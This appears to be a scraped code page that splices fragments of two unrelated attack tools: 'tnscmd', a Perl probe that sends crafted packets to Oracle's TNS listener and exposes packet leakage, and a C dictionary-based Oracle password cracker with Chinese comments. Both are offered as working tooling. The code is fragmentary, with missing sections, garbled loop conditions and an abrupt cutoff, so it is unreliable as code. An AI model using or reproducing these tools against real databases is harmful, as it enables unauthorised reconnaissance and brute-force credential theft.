Copy code #!/usr/bin/perl # # tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp) # tested under Linux x86 OpenBSD Sparc + perl5 # # Initial cruft: [email]jwa@jammed.com[/email] 5 Oct 2000 # # $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $ # # see also: # [url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url] # [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url] # [url]http://otn.oracle.com/deploy/security/alerts.htm[/url] # [url]http://xforce.iss.net/alerts/advise66.php[/url] # # GPL'd, of course. [url]http://www.gnu.org/copyleft/gpl.html[/url] # # $Log: tnscmd,v $ # Revision 1.3 2001/04/26 06:45:48 jwa # typo in url. whoops. # # Revision 1.2 2001/04/26 06:42:17 jwa # complete rewrite # - use IO::Socket instead of tcp_open # - got rid of pdump() # - put packet into @list and build it with pack() # - added --indent option # #
use IO::Socket; use strict; # a grumpy perl interpreter is your friend
select(STDOUT);$|=1;
# # process arguments #
my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/); my ($arg);
while ($arg = shift @ARGV) { $main::hostname = shift @ARGV if ($arg eq "-h"); $main::port = shift @ARGV if ($arg eq "-p"); $main::logfile = shift @ARGV if ($arg eq "--logfile"); $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize"); $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize"); $main::indent = 1 if ($arg eq "--indent"); $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd"); $main::rawout = shift @ARGV if ($arg eq "--rawout"); }
if ($main::hostname eq "") { print _EOF_; usage: $0 [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage) _EOF_ exit(0); }
# with no commands, default to pinging port 1521
$cmd = "ping" if ($cmd eq ""); $main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
if (defined($main::logfile)) { open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!"; print SEND $sendbuf || die "write to logfile failed: $!"; close(SEND); }
my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));
if ($count != length($sendbuf)) { print "only wrote $count bytes?!"; exit 1; }
print "reading\n";
# get fun data # 1st 12 bytes have some meaning which so far eludes me
if (defined($main::logfile)) { open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!"; }
my ($buf, $recvbuf);
# read until socket EOF while (sysread($tns_sock, $buf, 128)) { print REC $buf if (defined($main::logfile)); $recvbuf .= $buf; } close (REC) if (defined($main::logfile)); close ($tns_sock); return $recvbuf; }
printf("name:oracle password crack v 1.0\n"); printf("author:pt007@vip.sina.com\n\n"); fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n"); printf("options:\n" "\t-x port specify the port of oracle\n" "\t-u username specify the username of oracle\n" // "\t-p password specify the password of oracle\n" "\t-d dict specify the dictionary\n" "\t-i database specify the database's name\n" //"\t-a automode automatic crack the oracle password \n" //"\tNote: when u use the -a option, named the username dict user.dic\n" // "\t password dict pass.dic\n" ); printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
/* read data from password dictionary, init the link */ TCHAR * szTempPass = NULL; PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node, *s point to the current node*/ int i; /* counter*/
//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址: if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL ) { fprintf(stderr, "malloc failed %d", GetLastError()); exit(0); } /* create the head node */
/* init the head node*/ h->Next = NULL; p = h;
for ( i=0; i NodeNum; i ++) //下面是建立链表,每个密码对应一个结点: { //按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR)); ZeroMemory(szTempPass, 100);
if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL) { fprintf(stderr, "malloc failed %d", GetLastError()); exit(0); }
/* read data from password dictionary, init the link */ TCHAR * szTempName = NULL; NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node, *s point to the current node*/ int i; /* counter*/
//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址: : if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL ) { fprintf(stdout, "malloc failed %d", GetLastError()); exit(0); } /* create the head node */
/* init the head node*/ h->Next = NULL; //删除下一个结点 p = h; //p里面目前指向头结点
for ( i=0; i NodeNum; i ++) {//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass: szTempName = (TCHAR *)calloc(100, sizeof(TCHAR)); ZeroMemory(szTempName, 100);//字符串类型变量清0
if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL) { fprintf(stdout, "malloc failed %d", GetLastError()); exit(0); }
///////////////////////////////////////////////////////////////////////////////////////////// // deal with the command line // ///////////////////////////////////////////////////////////////////////////////////////////// //参数不为8个的时候打印帮助 if(argc != 10) usage();
if (argc == 10) { if ( strcmpi(argv[2], "-x") ) usage();
if ( strcmpi(argv[4], "-u") ) usage();
if ( strcmpi(argv[6], "-d") ) usage(); if ( strcmpi(argv[8], "-i") ) usage();
}
/* determinate whether the oracle port is open */ if( !IsPortOpen(argv[1], atoi(argv[3]) ) ) { printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3])); exit(0); }
//////////////////////////////////////////////////////////////////////////////////////////// // specifiy the username //////////////////////////////////////////////////////////////////////////////////////////////